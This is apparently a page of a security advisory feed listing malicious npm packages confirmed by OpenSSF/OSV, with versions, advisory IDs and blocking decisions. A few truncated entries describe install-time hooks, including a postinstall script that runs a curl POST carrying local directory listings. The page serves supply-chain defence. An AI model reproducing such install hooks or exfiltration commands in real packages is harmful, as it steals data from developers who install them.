npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 540
Updated 25 Oct 2026, 15:06 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-5720 blocks this version. OSV/OpenSSF confirms ect-839201@100.0.1 as malicious package MAL-2026-5720. Malicious code in ect-839201 (npm)
OpenSSF/OSV malware advisory MAL-2026-5720 blocks this version. OSV/OpenSSF confirms ect-839201@100.0.0 as malicious package MAL-2026-5720. Malicious code in ect-839201 (npm)
OpenSSF/OSV malware advisory MAL-2026-5690 blocks this version. OSV/OpenSSF confirms ecto-spectral-leak-8d4e2@1.0.2 as malicious package MAL-2026-5690. Malicious code in ecto-spectral-lea...
OpenSSF/OSV malware advisory MAL-2026-5690 blocks this version. OSV/OpenSSF confirms ecto-spectral-leak-8d4e2@1.0.1 as malicious package MAL-2026-5690. Malicious code in ecto-spectral-lea...
OpenSSF/OSV malware advisory MAL-2026-5690 blocks this version. OSV/OpenSSF confirms ecto-spectral-leak-8d4e2@1.0.0 as malicious package MAL-2026-5690. Malicious code in ecto-spectral-lea...
OpenSSF/OSV malware advisory MAL-2026-5689 blocks this version. OSV/OpenSSF confirms ecto-rust-read-f3a9c1@1.0.2 as malicious package MAL-2026-5689. Malicious code in ecto-rust-read-f3a9c...
OpenSSF/OSV malware advisory MAL-2026-5689 blocks this version. OSV/OpenSSF confirms ecto-rust-read-f3a9c1@1.0.1 as malicious package MAL-2026-5689. Malicious code in ecto-rust-read-f3a9c...
OpenSSF/OSV malware advisory MAL-2026-5689 blocks this version. OSV/OpenSSF confirms ecto-rust-read-f3a9c1@1.0.0 as malicious package MAL-2026-5689. Malicious code in ecto-rust-read-f3a9c...
OpenSSF/OSV malware advisory MAL-2026-5686 blocks this version. OSV/OpenSSF confirms ecto-corsair-flag-x9m4@1.0.0 as malicious package MAL-2026-5686. Malicious code in ecto-corsair-flag-x...
OpenSSF/OSV malware advisory MAL-2026-5692 blocks this version. OSV/OpenSSF confirms ecto-win-flag-q2m7@1.0.1 as malicious package MAL-2026-5692. Malicious code in ecto-win-flag-q2m7 (npm)
OpenSSF/OSV malware advisory MAL-2026-5692 blocks this version. OSV/OpenSSF confirms ecto-win-flag-q2m7@1.0.0 as malicious package MAL-2026-5692. Malicious code in ecto-win-flag-q2m7 (npm)
OpenSSF/OSV malware advisory MAL-2026-5726 blocks this version. OSV/OpenSSF confirms ecto_module@100.0.0 as malicious package MAL-2026-5726. Malicious code in ecto_module (npm)
OpenSSF/OSV malware advisory MAL-2026-6077 blocks this version. package.json declares `preinstall: node index.js`, which fires automatically on `npm install`. index.js collects hostname (...
OpenSSF/OSV malware advisory MAL-2026-5895 blocks this version. OSV/OpenSSF confirms easyllmai@4.0.1 as malicious package MAL-2026-5895. Malicious code in easyllmai (npm)
OpenSSF/OSV malware advisory MAL-2026-5895 blocks this version. OSV/OpenSSF confirms easyllmai@3.0.1 as malicious package MAL-2026-5895. Malicious code in easyllmai (npm)
OpenSSF/OSV malware advisory MAL-2026-6461 blocks this version. package.json declares a postinstall lifecycle script that auto-executes on `npm install` and runs `curl -X POST -d "$(ls -l...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-5979 blocks this version. OSV/OpenSSF confirms easy-day-js@1.11.22 as malicious package MAL-2026-5979. Malicious code in easy-day-js (npm)